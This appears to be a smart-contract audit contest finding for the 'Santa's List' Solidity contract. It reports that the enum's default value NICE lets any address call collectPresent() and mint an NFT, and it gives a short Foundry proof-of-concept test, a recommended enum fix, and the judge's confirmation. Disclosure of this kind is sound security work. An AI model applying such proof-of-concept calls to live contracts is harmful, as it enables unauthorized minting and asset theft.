Submission Details
Severity:
Anyone can mint NFT
Summary
Anyone can call the function and mint an NFT since s_theListCheckedOnce and s_theListCheckedTwice for a random address has default value for enum Status - 0 NICE
Vulnerability Details
Just call collectPresent() function and mint your NFT!
POC:
function testAnyoneCanMintNFT() public {
address atacker = makeAddr("anyone");
vm.startPrank(atacker);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
santasList.collectPresent();
uint balance = santasList.balanceOf(atacker);
vm.stopPrank();
assertEq(balance,1);
}
Impact
Anyone can mint an NFT!
Tools Used
Manual review, Foundry
Recommendations
Change the enum STATUS so that in default value 0 to have a UNCHECKED value and implement it's needed checks.
enum Status {
UNCHECKED,
NICE,
EXTRA_NICE,
NAUGHTY,
NOT_CHECKED_TWICE
}
Updates
Lead Judging Commences
inallhonesty over 1 year ago
Submission Judgement Published Assigned finding tags:
default status is nice
In Solidity the first element of an enum is the default value. In Santa's List, the means each person is mapped by default to 'NICE'.
Rewards breakdown
nSLOC
116This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.